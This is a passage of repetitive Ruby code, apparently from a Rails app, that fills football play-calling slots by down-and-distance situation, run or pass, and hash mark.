pftr1\n when 3 then ''\n when 4..100 then ftr_s4 = rftr4\n end\n\n #ftr_s5\n case num_ftr\n when 0 then ftr_s5 = pftr5 \n when 1 then ftr_s5 = pftr3\n when 2 then ftr_s5 = pftr2\n when 3 then ftr_s5 = pftr1\n when 4 then ftr_s5 = ''\n when 5..100 then ftr_s5 = rftr5\n end\n\n #ftr_s6\n case num_ftr\n when 0 then ftr_s6 = pftr6 \n when 1 then ftr_s6 = pftr4\n when 2 then ftr_s6 = pftr3\n when 3 then ftr_s6 = pftr2\n when 4 then ftr_s6 = pftr1\n when 5 then ftr_s6 = ''\n when 6..100 then ftr_s6 = rftr6\n end\n\n #ftr_s7\n case num_ftr\n when 0 then ftr_s7 = pftr7 \n when 1 then ftr_s7 = pftr5\n when 2 then ftr_s7 = pftr4\n when 3 then ftr_s7 = pftr3\n when 4 then ftr_s7 = pftr2\n when 5 then ftr_s7 = pftr1\n when 6 then ftr_s7 = ''\n when 7..100 then ftr_s7 = rftr7\n end\n\n #ftr_s8\n case num_ftr\n when 0 then ftr_s8 = pftr8 \n when 1 then ftr_s8 = pftr6\n when 2 then ftr_s8 = pftr5\n when 3 then ftr_s8 = pftr4\n when 4 then ftr_s8 = pftr3\n when 5 then ftr_s8 = pftr2\n when 6 then ftr_s8 = pftr1\n when 7 then ftr_s8 = ''\n when 8..100 then ftr_s8 = rftr8\n end\n\n #ftr_s9\n case num_ftr\n when 0 then ftr_s9 = pftr9 \n when 1 then ftr_s9 = pftr7\n when 2 then ftr_s9 = pftr6\n when 3 then ftr_s9 = pftr5\n when 4 then ftr_s9 = pftr4\n when 5 then ftr_s9 = pftr3\n when 6 then ftr_s9 = pftr2\n when 7 then ftr_s9 = pftr1\n when 8 then ftr_s9 = ''\n when 9..100 then ftr_s9 = rftr9\n end\n\n #ftr_s10\n case num_ftr\n when 0 then ftr_s10 = pftr10 \n when 1 then ftr_s10 = pftr8\n when 2 then ftr_s10 = pftr7\n when 3 then ftr_s10 = pftr6\n when 4 then ftr_s10 = pftr5\n when 5 then ftr_s10 = pftr4\n when 6 then ftr_s10 = pftr3\n when 7 then ftr_s10 = pftr2\n when 8 then ftr_s10 = pftr1\n when 9 then ftr_s10 = ''\n when 10..100 then ftr_s10 = rftr10\n end\n\n #ftr_s11\n case num_ftr\n when 0 then ftr_s11 = pftr11 \n when 1 then ftr_s11 = pftr9\n when 2 then ftr_s11 = pftr8\n when 3 then ftr_s11 = pftr7\n when 4 then ftr_s11 = pftr6\n when 5 then ftr_s11 = pftr5\n when 6 then ftr_s11 = pftr4\n when 7 then ftr_s11 = pftr3\n when 8 then ftr_s11 = pftr2\n when 9 then ftr_s11 = pftr1\n when 10 then ftr_s11 = ''\n when 11..100 then ftr_s11 = rftr11\n end\n\n #ftr_s12\n case num_ftr\n when 0 then ftr_s12 = pftr12 \n when 1 then ftr_s12 = pftr10\n when 2 then ftr_s12 = pftr9\n when 3 then ftr_s12 = pftr8\n when 4 then ftr_s12 = pftr7\n when 5 then ftr_s12 = pftr6\n when 6 then ftr_s12 = pftr5\n when 7 then ftr_s12 = pftr4\n when 8 then ftr_s12 = pftr3\n when 9 then ftr_s12 = pftr2\n when 10 then ftr_s12 = pftr1\n when 11 then ftr_s12 = ''\n when 12..100 then ftr_s12 = rftr12\n end\n\n #ftr_s13\n case num_ftr\n when 0 then ftr_s13 = pftr13 \n when 1 then ftr_s13 = pftr11\n when 2 then ftr_s13 = pftr10\n when 3 then ftr_s13 = pftr9\n when 4 then ftr_s13 = pftr8\n when 5 then ftr_s13 = pftr7\n when 6 then ftr_s13 = pftr6\n when 7 then ftr_s13 = pftr5\n when 8 then ftr_s13 = pftr4\n when 9 then ftr_s13 = pftr3\n when 10 then ftr_s13 = pftr2\n when 11 then ftr_s13 = pftr1\n when 12 then ftr_s13 = ''\n when 13..100 then ftr_s13 = rftr13\n end\n\n #ftr_s14\n case num_ftr\n when 0 then ftr_s14 = pftr14 \n when 1 then ftr_s14 = pftr12\n when 2 then ftr_s14 = pftr11\n when 3 then ftr_s14 = pftr10\n when 4 then ftr_s14 = pftr9\n when 5 then ftr_s14 = pftr8\n when 6 then ftr_s14 = pftr7\n when 7 then ftr_s14 = pftr6\n when 8 then ftr_s14 = pftr5\n when 9 then ftr_s14 = pftr4\n when 10 then ftr_s14 = pftr3\n when 11 then ftr_s14 = pftr2\n when 12 then ftr_s14 = pftr1 \n when 13 then ftr_s14 = ''\n when 14..100 then ftr_s14 = rftr14\n end\n\n #ftr_s15\n case num_ftr\n when 0 then ftr_s15 = pftr15 \n when 1 then ftr_s15 = pftr13\n when 2 then ftr_s15 = pftr12\n when 3 then ftr_s15 = pftr11\n when 4 then ftr_s15 = pftr10\n when 5 then ftr_s15 = pftr9\n when 6 then ftr_s15 = pftr8\n when 7 then ftr_s15 = pftr7\n when 8 then ftr_s15 = pftr6\n when 9 then ftr_s15 = pftr5\n when 10 then ftr_s15 = pftr4\n when 11 then ftr_s15 = pftr3\n when 12 then ftr_s15 = pftr2\n when 13 then ftr_s15 = pftr1 \n when 14..100 then ftr_s15 = rftr15\n end\n\n #----------End 1st/2nd & 10----------\n\n #----------2nd & Long----------\n secondLongs = event.plays.where('situation3 = ?', true)\n \n runSecondLongs = secondLongs.where('play_type = ?', 'Run')\n runSecondLongsLeft = runSecondLongs.where('hash_mark = ?', 'Left')\n runSecondLongsRight = runSecondLongs.where('hash_mark = ?', 'Right')\n \n passSecondLongs = secondLongs.where('play_type = ?', 'Pass')\n passSecondLongsLeft = passSecondLongs.where('hash_mark = ?', 'Left')\n passSecondLongsRight = passSecondLongs.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runSecondLongsLeft[0].nil? \n rsll1 = runSecondLongsLeft[0].fullname \n end\n unless runSecondLongsLeft[1].nil? \n rsll2 = runSecondLongsLeft[1].fullname \n end\n unless runSecondLongsLeft[2].nil? \n rsll3 = runSecondLongsLeft[2].fullname \n end\n unless runSecondLongsLeft[3].nil? \n rsll4 = runSecondLongsLeft[3].fullname \n end\n unless runSecondLongsLeft[4].nil? \n rsll5 = runSecondLongsLeft[4].fullname \n end\n unless runSecondLongsLeft[5].nil? \n rsll6 = runSecondLongsLeft[5].fullname \n end\n unless runSecondLongsLeft[6].nil? \n rsll7 = runSecondLongsLeft[6].fullname \n end\n unless runSecondLongsLeft[7].nil? \n rsll8 = runSecondLongsLeft[7].fullname \n end\n unless runSecondLongsLeft[8].nil? \n rsll9 = runSecondLongsLeft[8].fullname \n end\n unless runSecondLongsLeft[9].nil? \n rsll10 = runSecondLongsLeft[9].fullname \n end\n unless runSecondLongsLeft[10].nil? \n rsll11 = runSecondLongsLeft[10].fullname \n end\n unless runSecondLongsLeft[11].nil? \n rsll12 = runSecondLongsLeft[11].fullname \n end\n\n #Run Right Hash\n unless runSecondLongsRight[0].nil? \n rslr1 = runSecondLongsRight[0].fullname \n end\n unless runSecondLongsRight[1].nil? \n rslr2 = runSecondLongsRight[1].fullname \n end\n unless runSecondLongsRight[2].nil? \n rslr3 = runSecondLongsRight[2].fullname \n end\n unless runSecondLongsRight[3].nil? \n rslr4 = runSecondLongsRight[3].fullname \n end\n unless runSecondLongsRight[4].nil? \n rslr5 = runSecondLongsRight[4].fullname \n end\n unless runSecondLongsRight[5].nil? \n rslr6 = runSecondLongsRight[5].fullname \n end\n unless runSecondLongsRight[6].nil? \n rslr7 = runSecondLongsRight[6].fullname \n end\n unless runSecondLongsRight[7].nil? \n rslr8 = runSecondLongsRight[7].fullname \n end\n unless runSecondLongsRight[8].nil? \n rslr9 = runSecondLongsRight[8].fullname \n end\n unless runSecondLongsRight[9].nil? \n rslr10 = runSecondLongsRight[9].fullname \n end \n unless runSecondLongsRight[10].nil? \n rslr11 = runSecondLongsRight[10].fullname \n end\n unless runSecondLongsRight[11].nil? \n rslr12 = runSecondLongsRight[11].fullname \n end \n\n #Pass Left Hash\n unless passSecondLongsLeft[0].nil? \n psll1 = passSecondLongsLeft[0].fullname \n end\n unless passSecondLongsLeft[1].nil? \n psll2 = passSecondLongsLeft[1].fullname \n end\n unless passSecondLongsLeft[2].nil? \n psll3 = passSecondLongsLeft[2].fullname \n end\n unless passSecondLongsLeft[3].nil? \n psll4 = passSecondLongsLeft[3].fullname \n end\n unless passSecondLongsLeft[4].nil? \n psll5 = passSecondLongsLeft[4].fullname \n end \n unless passSecondLongsLeft[5].nil? \n psll6 = passSecondLongsLeft[5].fullname \n end\n unless passSecondLongsLeft[6].nil? \n psll7 = passSecondLongsLeft[6].fullname \n end\n unless passSecondLongsLeft[7].nil? \n psll8 = passSecondLongsLeft[7].fullname \n end\n unless passSecondLongsLeft[8].nil? \n psll9 = passSecondLongsLeft[8].fullname \n end\n unless passSecondLongsLeft[9].nil? \n psll10 = passSecondLongsLeft[9].fullname \n end\n unless passSecondLongsLeft[10].nil? \n psll11 = passSecondLongsLeft[10].fullname \n end \n unless passSecondLongsLeft[11].nil? \n psll12 = passSecondLongsLeft[11].fullname \n end \n\n #Pass Right Hash\n unless passSecondLongsRight[0].nil? \n pslr1 = passSecondLongsRight[0].fullname \n end\n unless passSecondLongsRight[1].nil? \n pslr2 = passSecondLongsRight[1].fullname \n end\n unless passSecondLongsRight[2].nil? \n pslr3 = passSecondLongsRight[2].fullname \n end\n unless passSecondLongsRight[3].nil? \n pslr4 = passSecondLongsRight[3].fullname \n end\n unless passSecondLongsRight[4].nil? \n pslr5 = passSecondLongsRight[4].fullname \n end \n unless passSecondLongsRight[5].nil? \n pslr6 = passSecondLongsRight[5].fullname \n end \n unless passSecondLongsRight[6].nil? \n pslr7 = passSecondLongsRight[6].fullname \n end\n unless passSecondLongsRight[7].nil? \n pslr8 = passSecondLongsRight[7].fullname \n end\n unless passSecondLongsRight[8].nil? \n pslr9 = passSecondLongsRight[8].fullname \n end\n unless passSecondLongsRight[9].nil? \n pslr10 = passSecondLongsRight[9].fullname \n end\n unless passSecondLongsRight[10].nil? \n pslr11 = passSecondLongsRight[10].fullname \n end \n unless passSecondLongsRight[11].nil? \n pslr12 = passSecondLongsRight[11].fullname \n end \n\n\n #Number of user's run plays in situation 3\n num_slr = self.user.s_name3_num_run\n\n #Left Hash\n # sll_s0 \n if num_slr > 0\n sll_s0 = self.user.s_name3 + ' - Run'\n else\n sll_s0 = self.user.s_name3 + ' - Pass'\n end\n\n #sll_s1 \n if num_slr > 0\n sll_s1 = rsll1\n else\n sll_s1 = psll1\n end\n\n #sll_s2\n if num_slr == 0\n sll_s2 = psll2\n elsif num_slr == 1\n sll_s2 = self.user.s_name3 + ' - Pass'\n else num_slr > 1\n sll_s2 = rsll2\n end\n\n #sll_s3\n case num_slr\n when 0 then sll_s3 = psll3 \n when 1 then sll_s3 = psll1\n when 2 then sll_s3 = self.user.s_name3 + ' - Pass'\n when 3..100 then sll_s3 = rsll3\n end\n\n #sll_s4\n case num_slr\n when 0 then sll_s4 = psll4 \n when 1 then sll_s4 = psll2\n when 2 then sll_s4 = psll1\n when 3 then sll_s4 = self.user.s_name3 + ' - Pass'\n when 4..100 then sll_s4 = rsll4\n end\n\n #sll_s5\n case num_slr\n when 0 then sll_s5 = psll5 \n when 1 then sll_s5 = psll3\n when 2 then sll_s5 = psll2\n when 3 then sll_s5 = psll1\n when 4 then sll_s5 = self.user.s_name3 + ' - Pass'\n when 5..100 then sll_s5 = rsll5\n end\n\n #sll_s6\n case num_slr\n when 0 then sll_s6 = psll6 \n when 1 then sll_s6 = psll4\n when 2 then sll_s6 = psll3\n when 3 then sll_s6 = psll2\n when 4 then sll_s6 = psll1\n when 5 then sll_s6 = self.user.s_name3 + ' - Pass'\n when 6..100 then sll_s6 = rsll6\n end\n\n #sll_s7\n case num_slr\n when 0 then sll_s7 = psll7 \n when 1 then sll_s7 = psll5\n when 2 then sll_s7 = psll4\n when 3 then sll_s7 = psll3\n when 4 then sll_s7 = psll2\n when 5 then sll_s7 = psll1\n when 6 then sll_s7 = self.user.s_name3 + ' - Pass'\n when 7..100 then sll_s7 = rsll7\n end\n\n #sll_s8\n case num_slr\n when 0 then sll_s8 = psll8 \n when 1 then sll_s8 = psll6\n when 2 then sll_s8 = psll5\n when 3 then sll_s8 = psll4\n when 4 then sll_s8 = psll3\n when 5 then sll_s8 = psll2\n when 6 then sll_s8 = psll1\n when 7 then sll_s8 = self.user.s_name3 + ' - Pass'\n when 8..100 then sll_s8 = rsll8\n end\n\n #sll_s9\n case num_slr\n when 0 then sll_s9 = psll9 \n when 1 then sll_s9 = psll7\n when 2 then sll_s9 = psll6\n when 3 then sll_s9 = psll5\n when 4 then sll_s9 = psll4\n when 5 then sll_s9 = psll3\n when 6 then sll_s9 = psll2\n when 7 then sll_s9 = psll1\n when 8 then sll_s9 = self.user.s_name3 + ' - Pass'\n when 9..100 then sll_s9 = rsll9\n end\n\n #sll_s10\n case num_slr\n when 0 then sll_s10 = psll10 \n when 1 then sll_s10 = psll8\n when 2 then sll_s10 = psll7\n when 3 then sll_s10 = psll6\n when 4 then sll_s10 = psll5\n when 5 then sll_s10 = psll4\n when 6 then sll_s10 = psll3\n when 7 then sll_s10 = psll2\n when 8 then sll_s10 = psll1\n when 9 then sll_s10 = self.user.s_name3 + ' - Pass'\n when 10..100 then sll_s10 = rsll10\n end\n\n #sll_s11\n case num_slr\n when 0 then sll_s11 = psll11 \n when 1 then sll_s11 = psll9\n when 2 then sll_s11 = psll8\n when 3 then sll_s11 = psll7\n when 4 then sll_s11 = psll6\n when 5 then sll_s11 = psll5\n when 6 then sll_s11 = psll4\n when 7 then sll_s11 = psll3\n when 8 then sll_s11 = psll2\n when 9 then sll_s11 = psll1\n when 10 then sll_s11 = self.user.s_name3 + ' - Pass'\n when 11..100 then sll_s11 = rsll11\n end\n\n #sll_s12\n case num_slr\n when 0 then sll_s12 = psll12 \n when 1 then sll_s12 = psll10\n when 2 then sll_s12 = psll9\n when 3 then sll_s12 = psll8\n when 4 then sll_s12 = psll7\n when 5 then sll_s12 = psll6\n when 6 then sll_s12 = psll5\n when 7 then sll_s12 = psll4\n when 8 then sll_s12 = psll3\n when 9 then sll_s12 = psll2\n when 10 then sll_s12 = psll1\n when 11..100 then sll_s12 = rsll12\n end\n\n \n #Right Hash\n # slr_s0 would always be blank\n\n #slr_s1 \n if num_slr > 0\n slr_s1 = rslr1\n else\n slr_s1 = pslr1\n end\n\n #slr_s2\n if num_slr == 0\n slr_s2 = pslr2\n elsif num_slr == 1\n slr_s2 = ''\n else num_slr > 1\n slr_s2 = rslr2\n end\n\n #slr_s3\n case num_slr\n when 0 then slr_s3 = pslr3 \n when 1 then slr_s3 = pslr1\n when 2 then slr_s3 = ''\n when 3..100 then slr_s3 = rslr3\n end\n\n #slr_s4\n case num_slr\n when 0 then slr_s4 = pslr4 \n when 1 then slr_s4 = pslr2\n when 2 then slr_s4 = pslr1\n when 3 then ''\n when 4..100 then slr_s4 = rslr4\n end\n\n #slr_s5\n case num_slr\n when 0 then slr_s5 = pslr5 \n when 1 then slr_s5 = pslr3\n when 2 then slr_s5 = pslr2\n when 3 then slr_s5 = pslr1\n when 4 then slr_s5 = ''\n when 5..100 then slr_s5 = rslr5\n end\n\n #slr_s6\n case num_slr\n when 0 then slr_s6 = pslr6 \n when 1 then slr_s6 = pslr4\n when 2 then slr_s6 = pslr3\n when 3 then slr_s6 = pslr2\n when 4 then slr_s6 = pslr1\n when 5 then slr_s6 = ''\n when 6..100 then slr_s6 = rslr6\n end\n\n #slr_s7\n case num_slr\n when 0 then slr_s7 = pslr7 \n when 1 then slr_s7 = pslr5\n when 2 then slr_s7 = pslr4\n when 3 then slr_s7 = pslr3\n when 4 then slr_s7 = pslr2\n when 5 then slr_s7 = pslr1\n when 6 then slr_s7 = ''\n when 7..100 then slr_s7 = rslr7\n end\n\n #slr_s8\n case num_slr\n when 0 then slr_s8 = pslr8 \n when 1 then slr_s8 = pslr6\n when 2 then slr_s8 = pslr5\n when 3 then slr_s8 = pslr4\n when 4 then slr_s8 = pslr3\n when 5 then slr_s8 = pslr2\n when 6 then slr_s8 = pslr1\n when 7 then slr_s8 = ''\n when 8..100 then slr_s8 = rslr8\n end\n\n #slr_s9\n case num_slr\n when 0 then slr_s9 = pslr9 \n when 1 then slr_s9 = pslr7\n when 2 then slr_s9 = pslr6\n when 3 then slr_s9 = pslr5\n when 4 then slr_s9 = pslr4\n when 5 then slr_s9 = pslr3\n when 6 then slr_s9 = pslr2\n when 7 then slr_s9 = pslr1\n when 8 then slr_s9 = ''\n when 9..100 then slr_s9 = rslr9\n end\n\n #slr_s10\n case num_slr\n when 0 then slr_s10 = pslr10 \n when 1 then slr_s10 = pslr8\n when 2 then slr_s10 = pslr7\n when 3 then slr_s10 = pslr6\n when 4 then slr_s10 = pslr5\n when 5 then slr_s10 = pslr4\n when 6 then slr_s10 = pslr3\n when 7 then slr_s10 = pslr2\n when 8 then slr_s10 = pslr1\n when 9 then slr_s10 = ''\n when 10..100 then slr_s10 = rslr10\n end\n\n #slr_s11\n case num_slr\n when 0 then slr_s11 = pslr11 \n when 1 then slr_s11 = pslr9\n when 2 then slr_s11 = pslr8\n when 3 then slr_s11 = pslr7\n when 4 then slr_s11 = pslr6\n when 5 then slr_s11 = pslr5\n when 6 then slr_s11 = pslr4\n when 7 then slr_s11 = pslr3\n when 8 then slr_s11 = pslr2\n when 9 then slr_s11 = pslr1\n when 10 then slr_s11 = ''\n when 11..100 then slr_s11 = rslr11\n end\n\n #slr_s12\n case num_slr\n when 0 then slr_s12 = pslr12 \n when 1 then slr_s12 = pslr10\n when 2 then slr_s12 = pslr9\n when 3 then slr_s12 = pslr8\n when 4 then slr_s12 = pslr7\n when 5 then slr_s12 = pslr6\n when 6 then slr_s12 = pslr5\n when 7 then slr_s12 = pslr4\n when 8 then slr_s12 = pslr3\n when 9 then slr_s12 = pslr2\n when 10 then slr_s12 = pslr1\n when 11..100 then slr_s12 = rslr12\n end\n\n #----------End 2nd & Long ----------\n\n #----------3rd & Long ----------\n thirdLongs = event.plays.where('situation6 = ?', true)\n \n runThirdLongs = thirdLongs.where('play_type = ?', 'Run')\n runThirdLongsLeft = runThirdLongs.where('hash_mark = ?', 'Left')\n runThirdLongsRight = runThirdLongs.where('hash_mark = ?', 'Right')\n \n passThirdLongs = thirdLongs.where('play_type = ?', 'Pass')\n passThirdLongsLeft = passThirdLongs.where('hash_mark = ?', 'Left')\n passThirdLongsRight = passThirdLongs.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runThirdLongsLeft[0].nil? \n rtll1 = runThirdLongsLeft[0].fullname \n end\n unless runThirdLongsLeft[1].nil? \n rtll2 = runThirdLongsLeft[1].fullname \n end\n unless runThirdLongsLeft[2].nil? \n rtll3 = runThirdLongsLeft[2].fullname \n end\n unless runThirdLongsLeft[3].nil? \n rtll4 = runThirdLongsLeft[3].fullname \n end\n unless runThirdLongsLeft[4].nil? \n rtll5 = runThirdLongsLeft[4].fullname \n end\n unless runThirdLongsLeft[5].nil? \n rtll6 = runThirdLongsLeft[5].fullname \n end\n unless runThirdLongsLeft[6].nil? \n rtll7 = runThirdLongsLeft[6].fullname \n end\n unless runThirdLongsLeft[7].nil? \n rtll8 = runThirdLongsLeft[7].fullname \n end\n unless runThirdLongsLeft[8].nil? \n rtll9 = runThirdLongsLeft[8].fullname \n end\n unless runThirdLongsLeft[9].nil? \n rtll10 = runThirdLongsLeft[9].fullname \n end\n unless runThirdLongsLeft[10].nil? \n rtll11 = runThirdLongsLeft[10].fullname \n end\n unless runThirdLongsLeft[11].nil? \n rtll12 = runThirdLongsLeft[11].fullname \n end\n\n #Run Right Hash\n unless runThirdLongsRight[0].nil? \n rtlr1 = runThirdLongsRight[0].fullname \n end\n unless runThirdLongsRight[1].nil? \n rtlr2 = runThirdLongsRight[1].fullname \n end\n unless runThirdLongsRight[2].nil? \n rtlr3 = runThirdLongsRight[2].fullname \n end\n unless runThirdLongsRight[3].nil? \n rtlr4 = runThirdLongsRight[3].fullname \n end\n unless runThirdLongsRight[4].nil? \n rtlr5 = runThirdLongsRight[4].fullname \n end\n unless runThirdLongsRight[5].nil? \n rtlr6 = runThirdLongsRight[5].fullname \n end\n unless runThirdLongsRight[6].nil? \n rtlr7 = runThirdLongsRight[6].fullname \n end\n unless runThirdLongsRight[7].nil? \n rtlr8 = runThirdLongsRight[7].fullname \n end\n unless runThirdLongsRight[8].nil? \n rtlr9 = runThirdLongsRight[8].fullname \n end\n unless runThirdLongsRight[9].nil? \n rtlr10 = runThirdLongsRight[9].fullname \n end\n unless runThirdLongsRight[10].nil? \n rtlr11 = runThirdLongsRight[10].fullname \n end\n unless runThirdLongsRight[11].nil? \n rtlr12 = runThirdLongsRight[11].fullname \n end\n\n #Pass Left Hash\n unless passThirdLongsLeft[0].nil? \n ptll1 = passThirdLongsLeft[0].fullname \n end\n unless passThirdLongsLeft[1].nil? \n ptll2 = passThirdLongsLeft[1].fullname \n end\n unless passThirdLongsLeft[2].nil? \n ptll3 = passThirdLongsLeft[2].fullname \n end\n unless passThirdLongsLeft[3].nil? \n ptll4 = passThirdLongsLeft[3].fullname \n end\n unless passThirdLongsLeft[4].nil? \n ptll5 = passThirdLongsLeft[4].fullname \n end\n unless passThirdLongsLeft[5].nil? \n ptll6 = passThirdLongsLeft[5].fullname \n end\n unless passThirdLongsLeft[6].nil? \n ptll7 = passThirdLongsLeft[6].fullname \n end\n unless passThirdLongsLeft[7].nil? \n ptll8 = passThirdLongsLeft[7].fullname \n end \n unless passThirdLongsLeft[8].nil? \n ptll9 = passThirdLongsLeft[8].fullname \n end\n unless passThirdLongsLeft[9].nil? \n ptll10 = passThirdLongsLeft[9].fullname \n end\n unless passThirdLongsLeft[10].nil? \n ptll11 = passThirdLongsLeft[10].fullname \n end\n unless passThirdLongsLeft[11].nil? \n ptll12 = passThirdLongsLeft[11].fullname \n end \n\n #Pass Right Hash\n unless passThirdLongsRight[0].nil? \n ptlr1 = passThirdLongsRight[0].fullname \n end\n unless passThirdLongsRight[1].nil? \n ptlr2 = passThirdLongsRight[1].fullname \n end\n unless passThirdLongsRight[2].nil? \n ptlr3 = passThirdLongsRight[2].fullname \n end\n unless passThirdLongsRight[3].nil? \n ptlr4 = passThirdLongsRight[3].fullname \n end\n unless passThirdLongsRight[4].nil? \n ptlr5 = passThirdLongsRight[4].fullname \n end\n unless passThirdLongsRight[5].nil? \n ptlr6 = passThirdLongsRight[5].fullname \n end\n unless passThirdLongsRight[6].nil? \n ptlr7 = passThirdLongsRight[6].fullname \n end\n unless passThirdLongsRight[7].nil? \n ptlr8 = passThirdLongsRight[7].fullname \n end \n unless passThirdLongsRight[8].nil? \n ptlr9 = passThirdLongsRight[8].fullname \n end\n unless passThirdLongsRight[9].nil? \n ptlr10 = passThirdLongsRight[9].fullname \n end\n unless passThirdLongsRight[10].nil? \n ptlr11 = passThirdLongsRight[10].fullname \n end\n unless passThirdLongsRight[11].nil? \n ptlr12 = passThirdLongsRight[11].fullname \n end \n\n #Number of user's run plays in situation 6\n num_thirdlg = self.user.s_name6_num_run\n\n #Left Hash\n # tll_s0 \n if num_thirdlg > 0\n tll_s0 = self.user.s_name6 + ' - Run'\n else\n tll_s0 = self.user.s_name6 + ' - Pass'\n end\n\n #tll_s1 \n if num_thirdlg > 0\n tll_s1 = rtll1\n else\n tll_s1 = ptll1\n end\n\n #tll_s2\n if num_thirdlg == 0\n tll_s2 = ptll2\n elsif num_thirdlg == 1\n tll_s2 = self.user.s_name6 + ' - Pass'\n else num_thirdlg > 1\n tll_s2 = rtll2\n end\n\n #tll_s3\n case num_thirdlg\n when 0 then tll_s3 = ptll3 \n when 1 then tll_s3 = ptll1\n when 2 then tll_s3 = self.user.s_name6 + ' - Pass'\n when 3..100 then tll_s3 = rtll3\n end\n\n #tll_s4\n case num_thirdlg\n when 0 then tll_s4 = ptll4 \n when 1 then tll_s4 = ptll2\n when 2 then tll_s4 = ptll1\n when 3 then tll_s4 = self.user.s_name6 + ' - Pass'\n when 4..100 then tll_s4 = rtll4\n end\n\n #tll_s5\n case num_thirdlg\n when 0 then tll_s5 = ptll5 \n when 1 then tll_s5 = ptll3\n when 2 then tll_s5 = ptll2\n when 3 then tll_s5 = ptll1\n when 4 then tll_s5 = self.user.s_name6 + ' - Pass'\n when 5..100 then tll_s5 = rtll5\n end\n\n #tll_s6\n case num_thirdlg\n when 0 then tll_s6 = ptll6 \n when 1 then tll_s6 = ptll4\n when 2 then tll_s6 = ptll3\n when 3 then tll_s6 = ptll2\n when 4 then tll_s6 = ptll1\n when 5 then tll_s6 = self.user.s_name6 + ' - Pass'\n when 6..100 then tll_s6 = rtll6\n end\n\n #tll_s7\n case num_thirdlg\n when 0 then tll_s7 = ptll7 \n when 1 then tll_s7 = ptll5\n when 2 then tll_s7 = ptll4\n when 3 then tll_s7 = ptll3\n when 4 then tll_s7 = ptll2\n when 5 then tll_s7 = ptll1\n when 6 then tll_s7 = self.user.s_name6 + ' - Pass'\n when 7..100 then tll_s7 = rtll7\n end\n\n #tll_s8\n case num_thirdlg\n when 0 then tll_s8 = ptll8 \n when 1 then tll_s8 = ptll6\n when 2 then tll_s8 = ptll5\n when 3 then tll_s8 = ptll4\n when 4 then tll_s8 = ptll3\n when 5 then tll_s8 = ptll2\n when 6 then tll_s8 = ptll1\n when 7 then tll_s8 = self.user.s_name6 + ' - Pass'\n when 8..100 then tll_s8 = rtll8\n end\n\n #tll_s9\n case num_thirdlg\n when 0 then tll_s9 = ptll9 \n when 1 then tll_s9 = ptll7\n when 2 then tll_s9 = ptll6\n when 3 then tll_s9 = ptll5\n when 4 then tll_s9 = ptll4\n when 5 then tll_s9 = ptll3\n when 6 then tll_s9 = ptll2\n when 7 then tll_s9 = ptll1\n when 8 then tll_s9 = self.user.s_name6 + ' - Pass'\n when 9..100 then tll_s9 = rtll9\n end\n\n #tll_s10\n case num_thirdlg\n when 0 then tll_s10 = ptll10 \n when 1 then tll_s10 = ptll8\n when 2 then tll_s10 = ptll7\n when 3 then tll_s10 = ptll6\n when 4 then tll_s10 = ptll5\n when 5 then tll_s10 = ptll4\n when 6 then tll_s10 = ptll3\n when 7 then tll_s10 = ptll2\n when 8 then tll_s10 = ptll1\n when 9 then tll_s10 = self.user.s_name6 + ' - Pass'\n when 10..100 then tll_s10 = rtll10\n end\n\n #tll_s11\n case num_thirdlg\n when 0 then tll_s11 = ptll11 \n when 1 then tll_s11 = ptll9\n when 2 then tll_s11 = ptll8\n when 3 then tll_s11 = ptll7\n when 4 then tll_s11 = ptll6\n when 5 then tll_s11 = ptll5\n when 6 then tll_s11 = ptll4\n when 7 then tll_s11 = ptll3\n when 8 then tll_s11 = ptll2\n when 9 then tll_s11 = ptll1\n when 10 then tll_s11 = self.user.s_name6 + ' - Pass'\n when 11..100 then tll_s11 = rtll11\n end\n\n #tll_s12\n case num_thirdlg\n when 0 then tll_s12 = ptll12 \n when 1 then tll_s12 = ptll10\n when 2 then tll_s12 = ptll9\n when 3 then tll_s12 = ptll8\n when 4 then tll_s12 = ptll7\n when 5 then tll_s12 = ptll6\n when 6 then tll_s12 = ptll5\n when 7 then tll_s12 = ptll4\n when 8 then tll_s12 = ptll3\n when 9 then tll_s12 = ptll2\n when 10 then tll_s12 = ptll1\n when 11..100 then tll_s12 = rtll12\n end\n\n \n #Right Hash\n # tlr_s0 would always be blank\n\n #tlr_s1 \n if num_thirdlg > 0\n tlr_s1 = rtlr1\n else\n tlr_s1 = ptlr1\n end\n\n #tlr_s2\n if num_thirdlg == 0\n tlr_s2 = ptlr2\n elsif num_thirdlg == 1\n tlr_s2 = ''\n else num_thirdlg > 1\n tlr_s2 = rtlr2\n end\n\n #tlr_s3\n case num_thirdlg\n when 0 then tlr_s3 = ptlr3 \n when 1 then tlr_s3 = ptlr1\n when 2 then tlr_s3 = ''\n when 3..100 then tlr_s3 = rtlr3\n end\n\n #tlr_s4\n case num_thirdlg\n when 0 then tlr_s4 = ptlr4 \n when 1 then tlr_s4 = ptlr2\n when 2 then tlr_s4 = ptlr1\n when 3 then ''\n when 4..100 then tlr_s4 = rtlr4\n end\n\n #tlr_s5\n case num_thirdlg\n when 0 then tlr_s5 = ptlr5 \n when 1 then tlr_s5 = ptlr3\n when 2 then tlr_s5 = ptlr2\n when 3 then tlr_s5 = ptlr1\n when 4 then tlr_s5 = ''\n when 5..100 then tlr_s5 = rtlr5\n end\n\n #tlr_s6\n case num_thirdlg\n when 0 then tlr_s6 = ptlr6 \n when 1 then tlr_s6 = ptlr4\n when 2 then tlr_s6 = ptlr3\n when 3 then tlr_s6 = ptlr2\n when 4 then tlr_s6 = ptlr1\n when 5 then tlr_s6 = ''\n when 6..100 then tlr_s6 = rtlr6\n end\n\n #tlr_s7\n case num_thirdlg\n when 0 then tlr_s7 = ptlr7 \n when 1 then tlr_s7 = ptlr5\n when 2 then tlr_s7 = ptlr4\n when 3 then tlr_s7 = ptlr3\n when 4 then tlr_s7 = ptlr2\n when 5 then tlr_s7 = ptlr1\n when 6 then tlr_s7 = ''\n when 7..100 then tlr_s7 = rtlr7\n end\n\n #tlr_s8\n case num_thirdlg\n when 0 then tlr_s8 = ptlr8 \n when 1 then tlr_s8 = ptlr6\n when 2 then tlr_s8 = ptlr5\n when 3 then tlr_s8 = ptlr4\n when 4 then tlr_s8 = ptlr3\n when 5 then tlr_s8 = ptlr2\n when 6 then tlr_s8 = ptlr1\n when 7 then tlr_s8 = ''\n when 8..100 then tlr_s8 = rtlr8\n end\n\n #tlr_s9\n case num_thirdlg\n when 0 then tlr_s9 = ptlr9 \n when 1 then tlr_s9 = ptlr7\n when 2 then tlr_s9 = ptlr6\n when 3 then tlr_s9 = ptlr5\n when 4 then tlr_s9 = ptlr4\n when 5 